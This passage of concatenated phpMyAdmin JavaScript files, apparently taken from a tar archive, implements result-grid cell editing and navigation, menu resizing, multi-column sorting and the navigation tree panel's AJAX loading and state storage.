          '; var $listDiv = $(g.cList).find('div'); var tempClick = function () { if (g.toggleCol($(this).index())) { g.afterToggleCol(); } }; for (i = 0; i < $firstRowCols.length; i++) { var currHeader = $firstRowCols[i]; var listElmt = document.createElement('div'); $(listElmt).text($(currHeader).text()) .prepend(''); $listDiv.append(listElmt); // add event on click $(listElmt).on('click', tempClick); } // add "show all column" button var showAll = document.createElement('div'); $(showAll).addClass('showAllColBtn') .text(g.showAllColText); $(g.cList).append(showAll); $(showAll).on('click', function () { g.showAllColumns(); }); // prepend "show all column" button at top if the list is too long if ($firstRowCols.length > 10) { var clone = showAll.cloneNode(true); $(g.cList).prepend(clone); $(clone).on('click', function () { g.showAllColumns(); }); } } // hide column visibility list if we move outside the list $(g.t).find('td, th.draggable').on('mouseenter', function () { g.hideColList(); }); // attach to first row first col of the grid var thFirst = $(g.t).find('th.d-print-none'); $(thFirst).append(g.cDrop); $(thFirst).append(g.cList); // some adjustment g.reposDrop(); }, /** * Move currently Editing Cell to Up * * @param e * */ moveUp: function (e) { e.preventDefault(); var $thisField = $(g.currentEditCell); var fieldName = Sql.getFieldName($(g.t), $thisField); var whereClause = $thisField.parents('tr').first().find('.where_clause').val(); if (typeof whereClause === 'undefined') { whereClause = ''; } var found = false; var $prevRow; $thisField.parents('tr').first().parents('tbody').children().each(function () { if ($(this).find('.where_clause').val() === whereClause) { found = true; } if (!found) { $prevRow = $(this); } }); var newCell; if (found && $prevRow) { $prevRow.children('td').each(function () { if (Sql.getFieldName($(g.t), $(this)) === fieldName) { newCell = this; } }); } if (newCell) { g.hideEditCell(false, false, false, { move : true, cell : newCell }); } }, /** * Move currently Editing Cell to Down * * @param e * */ moveDown: function (e) { e.preventDefault(); var $thisField = $(g.currentEditCell); var fieldName = Sql.getFieldName($(g.t), $thisField); var whereClause = $thisField.parents('tr').first().find('.where_clause').val(); if (typeof whereClause === 'undefined') { whereClause = ''; } var found = false; var $nextRow; var j = 0; var nextRowFound = false; $thisField.parents('tr').first().parents('tbody').children().each(function () { if ($(this).find('.where_clause').val() === whereClause) { found = true; } if (found) { if (j >= 1 && ! nextRowFound) { $nextRow = $(this); nextRowFound = true; } else { j++; } } }); var newCell; if (found && $nextRow) { $nextRow.children('td').each(function () { if (Sql.getFieldName($(g.t), $(this)) === fieldName) { newCell = this; } }); } if (newCell) { g.hideEditCell(false, false, false, { move : true, cell : newCell }); } }, /** * Move currently Editing Cell to Left * * @param e * */ moveLeft: function (e) { e.preventDefault(); var $thisField = $(g.currentEditCell); var fieldName = Sql.getFieldName($(g.t), $thisField); var whereClause = $thisField.parents('tr').first().find('.where_clause').val(); if (typeof whereClause === 'undefined') { whereClause = ''; } var found = false; var $foundRow; $thisField.parents('tr').first().parents('tbody').children().each(function () { if ($(this).find('.where_clause').val() === whereClause) { found = true; $foundRow = $(this); } }); var leftCell; var cellFound = false; if (found) { $foundRow.children('td.grid_edit').each(function () { if (Sql.getFieldName($(g.t), $(this)) === fieldName) { cellFound = true; } if (!cellFound) { leftCell = this; } }); } if (leftCell) { g.hideEditCell(false, false, false, { move : true, cell : leftCell }); } }, /** * Move currently Editing Cell to Right * * @param e * */ moveRight: function (e) { e.preventDefault(); var $thisField = $(g.currentEditCell); var fieldName = Sql.getFieldName($(g.t), $thisField); var whereClause = $thisField.parents('tr').first().find('.where_clause').val(); if (typeof whereClause === 'undefined') { whereClause = ''; } var found = false; var $foundRow; var j = 0; $thisField.parents('tr').first().parents('tbody').children().each(function () { if ($(this).find('.where_clause').val() === whereClause) { found = true; $foundRow = $(this); } }); var rightCell; var cellFound = false; var nextCellFound = false; if (found) { $foundRow.children('td.grid_edit').each(function () { if (Sql.getFieldName($(g.t), $(this)) === fieldName) { cellFound = true; } if (cellFound) { if (j >= 1 && ! nextCellFound) { rightCell = this; nextCellFound = true; } else { j++; } } }); } if (rightCell) { g.hideEditCell(false, false, false, { move : true, cell : rightCell }); } }, /** * Initialize grid editing feature. */ initGridEdit: function () { function startGridEditing (e, cell) { if (g.isCellEditActive) { g.saveOrPostEditedCell(); } else { g.showEditCell(cell); } e.stopPropagation(); } function handleCtrlNavigation (e) { if ((e.ctrlKey && e.which === 38) || (e.altKey && e.which === 38)) { g.moveUp(e); } else if ((e.ctrlKey && e.which === 40) || (e.altKey && e.which === 40)) { g.moveDown(e); } else if ((e.ctrlKey && e.which === 37) || (e.altKey && e.which === 37)) { g.moveLeft(e); } else if ((e.ctrlKey && e.which === 39) || (e.altKey && e.which === 39)) { g.moveRight(e); } } // create cell edit wrapper element g.cEditStd = document.createElement('div'); g.cEdit = g.cEditStd; g.cEditTextarea = document.createElement('div'); // adjust g.cEditStd g.cEditStd.className = 'cEdit'; $(g.cEditStd).html('
          '); $(g.cEditStd).hide(); // adjust g.cEdit g.cEditTextarea.className = 'cEdit'; $(g.cEditTextarea).html('
          '); $(g.cEditTextarea).hide(); // assign cell editing hint g.cellEditHint = Messages.strCellEditHint; g.saveCellWarning = Messages.strSaveCellWarning; g.alertNonUnique = Messages.strAlertNonUnique; g.gotoLinkText = Messages.strGoToLink; // initialize cell editing configuration g.saveCellsAtOnce = $(g.o).find('.save_cells_at_once').val(); g.maxTruncatedLen = CommonParams.get('LimitChars'); // register events $(g.t).find('td.data.click1') .on('click', function (e) { startGridEditing(e, this); // prevent default action when clicking on "link" in a table if ($(e.target).is('.grid_edit a')) { e.preventDefault(); } }); $(g.t).find('td.data.click2') .on('click', function (e) { var $cell = $(this); // In the case of relational link, We want single click on the link // to goto the link and double click to start grid-editing. var $link = $(e.target); if ($link.is('.grid_edit.relation a')) { e.preventDefault(); // get the click count and increase var clicks = $cell.data('clicks'); clicks = (typeof clicks === 'undefined') ? 1 : clicks + 1; if (clicks === 1) { // if there are no previous clicks, // start the single click timer var timer = setTimeout(function () { // temporarily remove ajax class so the page loader will not handle it, // submit and then add it back $link.removeClass('ajax'); AJAX.requestHandler.call($link[0]); $link.addClass('ajax'); $cell.data('clicks', 0); }, 700); $cell.data('clicks', clicks); $cell.data('timer', timer); } else {// When double clicking a link, switch to edit mode // this is a double click, cancel the single click timer // and make the click count 0 clearTimeout($cell.data('timer')); $cell.data('clicks', 0); // start grid-editing startGridEditing(e, this); } } }) .on('dblclick', function (e) { if ($(e.target).is('.grid_edit a')) { e.preventDefault(); } else { startGridEditing(e, this); } }); $(g.cEditStd).on('keydown', 'input.edit_box, select', handleCtrlNavigation); $(g.cEditStd).find('.edit_box').on('focus', function () { g.showEditArea(); }); $(g.cEditStd).on('keydown', '.edit_box, select', function (e) { if (e.which === 13) { // post on pressing "Enter" e.preventDefault(); g.saveOrPostEditedCell(); } }); $(g.cEditStd).on('keydown', function (e) { if (!g.isEditCellTextEditable) { // prevent text editing e.preventDefault(); } }); $(g.cEditTextarea).on('keydown', 'textarea.edit_box, select', handleCtrlNavigation); $(g.cEditTextarea).find('.edit_box').on('focus', function () { g.showEditArea(); }); $(g.cEditTextarea).on('keydown', '.edit_box, select', function (e) { if (e.which === 13 && !e.shiftKey) { // post on pressing "Enter" e.preventDefault(); g.saveOrPostEditedCell(); } }); $(g.cEditTextarea).on('keydown', function (e) { if (!g.isEditCellTextEditable) { // prevent text editing e.preventDefault(); } }); $('html').on('click', function (e) { // hide edit cell if the click is not fromDat edit area if ($(e.target).parents().index($(g.cEdit)) === -1 && !$(e.target).parents('.ui-datepicker-header').length && !$('.browse_foreign_modal.ui-dialog:visible').length && !$(e.target).closest('.dismissable').length ) { g.hideEditCell(); } }).on('keydown', function (e) { if (e.which === 27 && g.isCellEditActive) { // cancel on pressing "Esc" g.hideEditCell(true); } }); $(g.o).find('div.save_edited').on('click', function () { g.hideEditCell(); g.postEditedCell(); }); $(window).on('beforeunload', function () { if (g.isCellEdited) { return g.saveCellWarning; } }); // attach to global div $(g.gDiv).append(g.cEditStd); $(g.gDiv).append(g.cEditTextarea); // add hint for grid editing feature when hovering "Edit" link in each table row if (Messages.strGridEditFeatureHint !== undefined) { Functions.tooltip( $(g.t).find('.edit_row_anchor a'), 'a', Messages.strGridEditFeatureHint ); } } }; /** **************** * Initialize grid ******************/ // wrap all truncated data cells with span indicating the original length // todo update the original length after a grid edit $(t).find('td.data.truncated:not(:has(span))') .wrapInner(function () { return ''; }); // wrap remaining cells, except actions cell, with span $(t).find('th, td:not(:has(span))') .wrapInner(''); // create grid elements g.gDiv = document.createElement('div'); // create global div // initialize the table variable g.t = t; // enclosing .sqlqueryresults div g.o = $(t).parents('.sqlqueryresults'); // get data columns in the first row of the table var $firstRowCols = $(t).find('tr').first().find('th.draggable'); // initialize visible headers count g.visibleHeadersCount = $firstRowCols.filter(':visible').length; // assign first column (actions) span if (! $(t).find('tr').first().find('th').first().hasClass('draggable')) { // action header exist g.actionSpan = $(t).find('tr').first().find('th').first().prop('colspan'); } else { g.actionSpan = 0; } // assign table create time // table_create_time will only available if we are in "Browse" tab g.tableCreateTime = $(g.o).find('.table_create_time').val(); // assign the hints g.sortHint = Messages.strSortHint; g.strMultiSortHint = Messages.strMultiSortHint; g.markHint = Messages.strColMarkHint; g.copyHint = Messages.strColNameCopyHint; // assign common hidden inputs var $commonHiddenInputs = $(g.o).find('div.common_hidden_inputs'); g.server = $commonHiddenInputs.find('input[name=server]').val(); g.db = $commonHiddenInputs.find('input[name=db]').val(); g.table = $commonHiddenInputs.find('input[name=table]').val(); // add table class $(t).addClass('pma_table'); // add relative position to global div so that resize handlers are correctly positioned $(g.gDiv).css('position', 'relative'); // link the global div $(t).before(g.gDiv); $(g.gDiv).append(t); // FEATURES if (isResizeEnabled) { g.initColResize(); } // disable reordering for result from EXPLAIN or SHOW syntax, which do not have a table navigation panel if (isReorderEnabled && $(g.o).find('table.navigation').length > 0) { g.initColReorder(); } if (isVisibEnabled) { g.initColVisib(); } // make sure we have the ajax class if (isGridEditEnabled && $(t).is('.ajax')) { g.initGridEdit(); } // create tooltip for each with draggable class Functions.tooltip( $(t).find('th.draggable'), 'th', g.updateHint() ); // register events for hint tooltip (anchors inside draggable th) $(t).find('th.draggable a') .on('mouseenter', function () { g.showSortHint = true; g.showMultiSortHint = true; $(t).find('th.draggable').uiTooltip('option', { content: g.updateHint() }); }) .on('mouseleave', function () { g.showSortHint = false; g.showMultiSortHint = false; $(t).find('th.draggable').uiTooltip('option', { content: g.updateHint() }); }); // register events for dragging-related feature if (isResizeEnabled || isReorderEnabled) { $(document).on('mousemove', function (e) { g.dragMove(e); }); $(document).on('mouseup', function (e) { $(g.o).removeClass('turnOffSelect'); g.dragEnd(e); }); } // some adjustment $(t).removeClass('data'); $(g.gDiv).addClass('data'); }; /** * jQuery plugin to cancel selection in HTML code. */ (function ($) { $.fn.noSelect = function (p) { // no select plugin by Paulo P.Marinas var prevent = (p === null) ? true : p; /* eslint-disable compat/compat */ var isMsie = navigator.userAgent.indexOf('MSIE') > -1 || !!window.navigator.userAgent.match(/Trident.*rv:11\./); var isFirefox = navigator.userAgent.indexOf('Firefox') > -1; var isSafari = navigator.userAgent.indexOf('Safari') > -1; var isOpera = navigator.userAgent.indexOf('Presto') > -1; /* eslint-enable compat/compat */ if (prevent) { return this.each(function () { if (isMsie || isSafari) { $(this).on('selectstart', false); } else if (isFirefox) { $(this).css('MozUserSelect', 'none'); $('body').trigger('focus'); } else if (isOpera) { $(this).on('mousedown', false); } else { $(this).attr('unselectable', 'on'); } }); } else { return this.each(function () { if (isMsie || isSafari) { $(this).off('selectstart'); } else if (isFirefox) { $(this).css('MozUserSelect', 'inherit'); } else if (isOpera) { $(this).off('mousedown'); } else { $(this).removeAttr('unselectable'); } }); } }; // end noSelect }(jQuery)); menu_resizer.js000066600000014664151724624350007641 0ustar00/** * Handles the resizing of a menu according to the available screen width * * Uses themes/original/css/resizable-menu.css.php * * To initialize: * $('#myMenu').menuResizer(function () { * // This function will be called to find out how much * // available horizontal space there is for the menu * return $('body').width() - 5; // Some extra margin for good measure * }); * * To trigger a resize operation: * $('#myMenu').menuResizer('resize'); // Bind this to $(window).resize() * * To restore the menu to a state like before it was initialized: * $('#myMenu').menuResizer('destroy'); * * @package PhpMyAdmin */ (function ($) { function MenuResizer ($container, widthCalculator) { var self = this; self.$container = $container; self.widthCalculator = widthCalculator; var windowWidth = $(window).width(); if (windowWidth < 768) { $('#pma_navigation_resizer').css({ 'width': '0px' }); } // create submenu container var link = $('', { 'href': '#', 'class': 'nav-link dropdown-toggle', 'id': 'navbarDropdown', 'role': 'button', 'data-bs-toggle': 'dropdown', 'aria-haspopup': 'true', 'aria-expanded': 'false' }).text(Messages.strMore); var img = $container.find('li img'); if (img.length) { $(Functions.getImage('b_more').toString()).prependTo(link); } var $submenu = $('
        • ', { 'class': 'nav-item dropdown d-none' }) .append(link) .append($('
            ', { 'class': 'dropdown-menu dropdown-menu-end', 'aria-labelledby': 'navbarDropdown' })); $container.append($submenu); setTimeout(function () { self.resize(); }, 4); } MenuResizer.prototype.resize = function () { var wmax = this.widthCalculator.call(this.$container); var windowWidth = $(window).width(); var $submenu = this.$container.find('.nav-item.dropdown').last(); var submenuW = $submenu.outerWidth(true); var $submenuUl = $submenu.find('.dropdown-menu'); var $li = this.$container.find('> li'); var $li2 = $submenuUl.find('.dropdown-item'); var moreShown = $li2.length > 0; // Calculate the total width used by all the shown tabs var totalLen = moreShown ? submenuW : 0; var l = $li.length - 1; var i; for (i = 0; i < l; i++) { totalLen += $($li[i]).outerWidth(true); } // eslint-disable-next-line compat/compat var hasVScroll = document.body.scrollHeight > document.body.clientHeight; if (hasVScroll) { windowWidth += 15; } if (windowWidth < 768) { wmax = 2000; } // Now hide menu elements that don't fit into the menubar var hidden = false; // Whether we have hidden any tabs while (totalLen >= wmax && --l >= 0) { // Process the tabs backwards hidden = true; var el = $($li[l]); el.removeClass('nav-item').addClass('dropdown-item'); var elWidth = el.outerWidth(true); el.data('width', elWidth); if (! moreShown) { totalLen -= elWidth; el.prependTo($submenuUl); totalLen += submenuW; moreShown = true; } else { totalLen -= elWidth; el.prependTo($submenuUl); } } // If we didn't hide any tabs, then there might be some space to show some if (! hidden) { // Show menu elements that do fit into the menubar for (i = 0, l = $li2.length; i < l; i++) { totalLen += $($li2[i]).data('width'); // item fits or (it is the last item // and it would fit if More got removed) if (totalLen < wmax || (i === $li2.length - 1 && totalLen - submenuW < wmax) ) { $($li2[i]).removeClass('dropdown-item').addClass('nav-item'); $($li2[i]).insertBefore($submenu); } else { break; } } } // Show/hide the "More" tab as needed if (windowWidth < 768) { $('.navbar-collapse').css({ 'width': windowWidth - 80 - $('#pma_navigation').width() }); $submenu.addClass('d-none'); $('.navbar-collapse').css({ 'overflow': 'hidden' }); } else { $('.navbar-collapse').css({ 'width': 'auto' }); $('.navbar-collapse').css({ 'overflow': 'visible' }); if ($submenuUl.find('li').length > 0) { $submenu.removeClass('d-none'); } else { $submenu.addClass('d-none'); } } }; MenuResizer.prototype.destroy = function () { var $submenu = this.$container.find('.nav-item.dropdown').removeData(); $submenu.find('li').appendTo(this.$container); $submenu.remove(); }; /** Public API */ var methods = { init: function (widthCalculator) { return this.each(function () { var $this = $(this); if (! $this.data('menuResizer')) { $this.data( 'menuResizer', new MenuResizer($this, widthCalculator) ); } }); }, resize: function () { return this.each(function () { var self = $(this).data('menuResizer'); if (self) { self.resize(); } }); }, destroy: function () { return this.each(function () { var self = $(this).data('menuResizer'); if (self) { self.destroy(); } }); } }; /** * Extend jQuery * * @param {string} method * * @return {any} */ $.fn.menuResizer = function (method) { if (methods[method]) { return methods[method].call(this); } else if (typeof method === 'function') { return methods.init.apply(this, [method]); } else { $.error('Method ' + method + ' does not exist on jQuery.menuResizer'); } }; }(jQuery)); multi_column_sort.js000066600000002535151724624350010702 0ustar00/** * @fileoverview Implements the shiftkey + click remove column * from order by clause functionality * @name columndelete * * @requires jQuery */ AJAX.registerOnload('keyhandler.js', function () { $('th.draggable.column_heading.pointer.marker a').on('click', function (event) { var orderUrlRemove = $(this).parent().find('input[name="url-remove-order"]').val(); var orderUrlAdd = $(this).parent().find('input[name="url-add-order"]').val(); var argsep = CommonParams.get('arg_separator'); if (event.ctrlKey || event.altKey) { event.preventDefault(); AJAX.source = $(this); Functions.ajaxShowMessage(); orderUrlRemove += argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true'; $.post('index.php?route=/sql', orderUrlRemove, AJAX.responseHandler); } else if (event.shiftKey) { event.preventDefault(); AJAX.source = $(this); Functions.ajaxShowMessage(); orderUrlAdd += argsep + 'ajax_request=true' + argsep + 'ajax_page_request=true'; $.post('index.php?route=/sql', orderUrlAdd, AJAX.responseHandler); } }); }); AJAX.registerTeardown('keyhandler.js', function () { $(document).off('click', 'th.draggable.column_heading.pointer.marker a'); }); name-conflict-fixes.js000066600000000054151724624350010751 0ustar00$.widget.bridge('uiTooltip', $.ui.tooltip); navigation.js000066600000165505151724624350007272 0ustar00/** * function used in or for navigation panel * * @package phpMyAdmin-Navigation */ /* global isStorageSupported, setupRestoreField, setupValidation */ // js/config.js var Navigation = {}; /** * updates the tree state in sessionStorage * * @return {void} */ Navigation.treeStateUpdate = function () { // update if session storage is supported if (isStorageSupported('sessionStorage')) { var storage = window.sessionStorage; // try catch necessary here to detect whether // content to be stored exceeds storage capacity try { storage.setItem('navTreePaths', JSON.stringify(Navigation.traverseForPaths())); storage.setItem('server', CommonParams.get('server')); storage.setItem('token', CommonParams.get('token')); } catch (error) { // storage capacity exceeded & old navigation tree // state is no more valid, so remove it storage.removeItem('navTreePaths'); storage.removeItem('server'); storage.removeItem('token'); } } }; /** * updates the filter state in sessionStorage * * @param {string} filterName * @param {string} filterValue * * @return {void} */ Navigation.filterStateUpdate = function (filterName, filterValue) { if (isStorageSupported('sessionStorage')) { var storage = window.sessionStorage; try { var currentFilter = $.extend({}, JSON.parse(storage.getItem('navTreeSearchFilters'))); var filter = {}; filter[filterName] = filterValue; currentFilter = $.extend(currentFilter, filter); storage.setItem('navTreeSearchFilters', JSON.stringify(currentFilter)); } catch (error) { storage.removeItem('navTreeSearchFilters'); } } }; /** * restores the filter state on navigation reload * * @return {void} */ Navigation.filterStateRestore = function () { if (isStorageSupported('sessionStorage') && typeof window.sessionStorage.navTreeSearchFilters !== 'undefined' ) { var searchClauses = JSON.parse(window.sessionStorage.navTreeSearchFilters); if (Object.keys(searchClauses).length < 1) { return; } // restore database filter if present and not empty if (searchClauses.hasOwnProperty('dbFilter') && searchClauses.dbFilter.length ) { var $obj = $('#pma_navigation_tree'); if (! $obj.data('fastFilter')) { $obj.data( 'fastFilter', new Navigation.FastFilter.Filter($obj, '') ); } $obj.find('li.fast_filter.db_fast_filter input.searchClause') .val(searchClauses.dbFilter) .trigger('keyup'); } // find all table filters present in the tree var $tableFilters = $('#pma_navigation_tree li.database') .children('div.list_container') .find('li.fast_filter input.searchClause'); // restore table filters $tableFilters.each(function () { $obj = $(this).closest('div.list_container'); // aPath associated with this filter var filterName = $(this).siblings('input[name=aPath]').val(); // if this table's filter has a state stored in storage if (searchClauses.hasOwnProperty(filterName) && searchClauses[filterName].length ) { // clear state if item is not visible, // happens when table filter becomes invisible // as db filter has already been applied if (! $obj.is(':visible')) { Navigation.filterStateUpdate(filterName, ''); return true; } if (! $obj.data('fastFilter')) { $obj.data( 'fastFilter', new Navigation.FastFilter.Filter($obj, '') ); } $(this).val(searchClauses[filterName]) .trigger('keyup'); } }); } }; /** * Loads child items of a node and executes a given callback * * @param isNode * @param $expandElem expander * @param callback callback function * * @return {void} */ Navigation.loadChildNodes = function (isNode, $expandElem, callback) { var $destination = null; var params = null; if (isNode) { if (!$expandElem.hasClass('expander')) { return; } $destination = $expandElem.closest('li'); var pos2Name = $expandElem.find('span.pos2_nav'); var pathsNav = $expandElem.find('span.paths_nav'); params = { 'server': CommonParams.get('server'), 'aPath': pathsNav.attr('data-apath'), 'vPath': pathsNav.attr('data-vpath'), 'pos': pathsNav.attr('data-pos'), 'pos2_name': pos2Name.attr('data-name'), 'pos2_value': pos2Name.attr('data-value'), 'searchClause': '', 'searchClause2': '' }; if ($expandElem.closest('ul').hasClass('search_results')) { params.searchClause = Navigation.FastFilter.getSearchClause(); params.searchClause2 = Navigation.FastFilter.getSearchClause2($expandElem); } } else { $destination = $('#pma_navigation_tree_content'); params = { 'server': CommonParams.get('server'), 'aPath': $expandElem.attr('data-apath'), 'vPath': $expandElem.attr('data-vpath'), 'pos': $expandElem.attr('data-pos'), 'pos2_name': '', 'pos2_value': '', 'searchClause': '', 'searchClause2': '' }; } $.post('index.php?route=/navigation&ajax_request=1', params, function (data) { if (typeof data !== 'undefined' && data.success === true) { $destination.find('div.list_container').remove(); // FIXME: Hack, there shouldn't be a list container there if (isNode) { $destination.append(data.message); $expandElem.addClass('loaded'); } else { $destination.html(data.message); $destination.children() .first() .css({ border: '0px', margin: '0em', padding : '0em' }) .slideDown('slow'); } if (data.errors) { var $errors = $(data.errors); if ($errors.children().length > 0) { $('#pma_errors').replaceWith(data.errors); } } if (callback && typeof callback === 'function') { callback(data); } } else if (typeof data !== 'undefined' && data.redirect_flag === '1') { if (window.location.href.indexOf('?') === -1) { window.location.href += '?session_expired=1'; } else { window.location.href += CommonParams.get('arg_separator') + 'session_expired=1'; } window.location.reload(); } else { var $throbber = $expandElem.find('img.throbber'); $throbber.hide(); var $icon = $expandElem.find('img.ic_b_plus'); $icon.show(); Functions.ajaxShowMessage(data.error, false); } }); }; /** * Collapses a node in navigation tree. * * @param $expandElem expander * * @return {void} */ Navigation.collapseTreeNode = function ($expandElem) { var $children = $expandElem.closest('li').children('div.list_container'); var $icon = $expandElem.find('img'); if ($expandElem.hasClass('loaded')) { if ($icon.is('.ic_b_minus')) { $icon.removeClass('ic_b_minus').addClass('ic_b_plus'); $children.slideUp('fast'); } } $expandElem.trigger('blur'); $children.promise().done(Navigation.treeStateUpdate); }; /** * Traverse the navigation tree backwards to generate all the actual * and virtual paths, as well as the positions in the pagination at * various levels, if necessary. * * @return {object} */ Navigation.traverseForPaths = function () { var params = { pos: $('#pma_navigation_tree').find('div.dbselector select').val() }; if ($('#navi_db_select').length) { return params; } var count = 0; $('#pma_navigation_tree').find('a.expander:visible').each(function () { if ($(this).find('img').is('.ic_b_minus') && $(this).closest('li').find('div.list_container .ic_b_minus').length === 0 ) { var pathsNav = $(this).find('span.paths_nav'); params['n' + count + '_aPath'] = pathsNav.attr('data-apath'); params['n' + count + '_vPath'] = pathsNav.attr('data-vpath'); var pos2Nav = $(this).find('span.pos2_nav'); if (pos2Nav.length === 0) { pos2Nav = $(this) .parent() .parent() .find('span.pos2_nav').last(); } params['n' + count + '_pos2_name'] = pos2Nav.attr('data-name'); params['n' + count + '_pos2_value'] = pos2Nav.attr('data-value'); var pos3Nav = $(this).find('span.pos3_nav'); params['n' + count + '_pos3_name'] = pos3Nav.attr('data-name'); params['n' + count + '_pos3_value'] = pos3Nav.attr('data-value'); count++; } }); return params; }; /** * Executed on page load */ $(function () { if (! $('#pma_navigation').length) { // Don't bother running any code if the navigation is not even on the page return; } // Do not let the page reload on submitting the fast filter $(document).on('submit', '.fast_filter', function (event) { event.preventDefault(); }); // Fire up the resize handlers new Navigation.ResizeHandler(); /** * opens/closes (hides/shows) tree elements * loads data via ajax */ $(document).on('click', '#pma_navigation_tree a.expander', function (event) { event.preventDefault(); event.stopImmediatePropagation(); var $icon = $(this).find('img'); if ($icon.is('.ic_b_plus')) { Navigation.expandTreeNode($(this)); } else { Navigation.collapseTreeNode($(this)); } }); /** * Register event handler for click on the reload * navigation icon at the top of the panel */ $(document).on('click', '#pma_navigation_reload', function (event) { event.preventDefault(); // Find the loading symbol and show it var $iconThrobberSrc = $('#pma_navigation').find('.throbber'); $iconThrobberSrc.show(); // TODO Why is a loading symbol both hidden, and invisible? $iconThrobberSrc.css('visibility', ''); // Callback to be used to hide the loading symbol when done reloading function hideNav () { $iconThrobberSrc.hide(); } // Reload the navigation Navigation.reload(hideNav); }); $(document).on('change', '#navi_db_select', function () { if (! $(this).val()) { CommonParams.set('db', ''); Navigation.reload(); } $(this).closest('form').trigger('submit'); }); /** * Register event handler for click on the collapse all * navigation icon at the top of the navigation tree */ $(document).on('click', '#pma_navigation_collapse', function (event) { event.preventDefault(); $('#pma_navigation_tree').find('a.expander').each(function () { var $icon = $(this).find('img'); if ($icon.is('.ic_b_minus')) { $(this).trigger('click'); } }); }); /** * Register event handler to toggle * the 'link with main panel' icon on mouseenter. */ $(document).on('mouseenter', '#pma_navigation_sync', function (event) { event.preventDefault(); var synced = $('#pma_navigation_tree').hasClass('synced'); var $img = $('#pma_navigation_sync').children('img'); if (synced) { $img.removeClass('ic_s_link').addClass('ic_s_unlink'); } else { $img.removeClass('ic_s_unlink').addClass('ic_s_link'); } }); /** * Register event handler to toggle * the 'link with main panel' icon on mouseout. */ $(document).on('mouseout', '#pma_navigation_sync', function (event) { event.preventDefault(); var synced = $('#pma_navigation_tree').hasClass('synced'); var $img = $('#pma_navigation_sync').children('img'); if (synced) { $img.removeClass('ic_s_unlink').addClass('ic_s_link'); } else { $img.removeClass('ic_s_link').addClass('ic_s_unlink'); } }); /** * Register event handler to toggle * the linking with main panel behavior */ $(document).on('click', '#pma_navigation_sync', function (event) { event.preventDefault(); var synced = $('#pma_navigation_tree').hasClass('synced'); var $img = $('#pma_navigation_sync').children('img'); if (synced) { $img .removeClass('ic_s_unlink') .addClass('ic_s_link') .attr('alt', Messages.linkWithMain) .attr('title', Messages.linkWithMain); $('#pma_navigation_tree') .removeClass('synced') .find('li.selected') .removeClass('selected'); } else { $img .removeClass('ic_s_link') .addClass('ic_s_unlink') .attr('alt', Messages.unlinkWithMain) .attr('title', Messages.unlinkWithMain); $('#pma_navigation_tree').addClass('synced'); Navigation.showCurrent(); } }); /** * Bind all "fast filter" events */ $('#pma_navigation_tree').on('click', 'li.fast_filter button.searchClauseClear', Navigation.FastFilter.events.clear); $('#pma_navigation_tree').on('focus', 'li.fast_filter input.searchClause', Navigation.FastFilter.events.focus); $('#pma_navigation_tree').on('blur', 'li.fast_filter input.searchClause', Navigation.FastFilter.events.blur); $('#pma_navigation_tree').on('keyup', 'li.fast_filter input.searchClause', Navigation.FastFilter.events.keyup); /** * Ajax handler for pagination */ $('#pma_navigation_tree').on('click', 'div.pageselector a.ajax', function (event) { event.preventDefault(); Navigation.treePagination($(this)); }); /** * Node highlighting */ $('#pma_navigation_tree.highlight').on( 'mouseover', 'li:not(.fast_filter)', function () { if ($('li:visible', this).length === 0) { $(this).addClass('activePointer'); } } ); $('#pma_navigation_tree.highlight').on( 'mouseout', 'li:not(.fast_filter)', function () { $(this).removeClass('activePointer'); } ); /** New view */ $(document).on('click', 'li.new_view a.ajax', function (event) { event.preventDefault(); Functions.createViewModal($(this)); }); /** Hide navigation tree item */ $(document).on('click', 'a.hideNavItem.ajax', function (event) { event.preventDefault(); var argSep = CommonParams.get('arg_separator'); var params = $(this).getPostData(); params += argSep + 'ajax_request=true' + argSep + 'server=' + CommonParams.get('server'); $.ajax({ type: 'POST', data: params, url: $(this).attr('href'), success: function (data) { if (typeof data !== 'undefined' && data.success === true) { Navigation.reload(); } else { Functions.ajaxShowMessage(data.error); } } }); }); /** Display a dialog to choose hidden navigation items to show */ $(document).on('click', 'a.showUnhide.ajax', function (event) { event.preventDefault(); var $msg = Functions.ajaxShowMessage(); var argSep = CommonParams.get('arg_separator'); var params = $(this).getPostData(); params += argSep + 'ajax_request=true'; $.post($(this).attr('href'), params, function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxRemoveMessage($msg); $('#unhideNavItemModal').modal('show'); $('#unhideNavItemModal').find('.modal-body').first().html(data.message); } else { Functions.ajaxShowMessage(data.error); } }); }); /** Show a hidden navigation tree item */ $(document).on('click', 'a.unhideNavItem.ajax', function (event) { event.preventDefault(); var $tr = $(this).parents('tr'); var $hiddenTableCount = $tr.parents('tbody').children().length; var $hideDialogBox = $tr.closest('div.ui-dialog'); var $msg = Functions.ajaxShowMessage(); var argSep = CommonParams.get('arg_separator'); var params = $(this).getPostData(); params += argSep + 'ajax_request=true' + argSep + 'server=' + CommonParams.get('server'); $.ajax({ type: 'POST', data: params, url: $(this).attr('href'), success: function (data) { Functions.ajaxRemoveMessage($msg); if (typeof data !== 'undefined' && data.success === true) { $tr.remove(); if ($hiddenTableCount === 1) { $hideDialogBox.remove(); } Navigation.reload(); } else { Functions.ajaxShowMessage(data.error); } } }); }); // Add/Remove favorite table using Ajax. $(document).on('click', '.favorite_table_anchor', function (event) { event.preventDefault(); var $self = $(this); var anchorId = $self.attr('id'); if ($self.data('favtargetn') !== null) { var $dataFavTargets = $('a[data-favtargets="' + $self.data('favtargetn') + '"]'); if ($dataFavTargets.length > 0) { $dataFavTargets.trigger('click'); return; } } var hasLocalStorage = isStorageSupported('localStorage') && typeof window.localStorage.favoriteTables !== 'undefined'; $.ajax({ url: $self.attr('href'), cache: false, type: 'POST', data: { 'favoriteTables': hasLocalStorage ? window.localStorage.favoriteTables : '', 'server': CommonParams.get('server'), }, success: function (data) { if (data.changes) { $('#pma_favorite_list').html(data.list); $('#' + anchorId).parent().html(data.anchor); Functions.tooltip( $('#' + anchorId), 'a', $('#' + anchorId).attr('title') ); // Update localStorage. if (isStorageSupported('localStorage')) { window.localStorage.favoriteTables = data.favoriteTables; } } else { Functions.ajaxShowMessage(data.message); } } }); }); // Check if session storage is supported if (isStorageSupported('sessionStorage')) { var storage = window.sessionStorage; // remove tree from storage if Navi_panel config form is submitted $(document).on('submit', 'form.config-form', function () { storage.removeItem('navTreePaths'); }); // Initialize if no previous state is defined if ($('#pma_navigation_tree_content').length && typeof storage.navTreePaths === 'undefined' ) { Navigation.reload(); } else if (CommonParams.get('server') === storage.server && CommonParams.get('token') === storage.token ) { // Reload the tree to the state 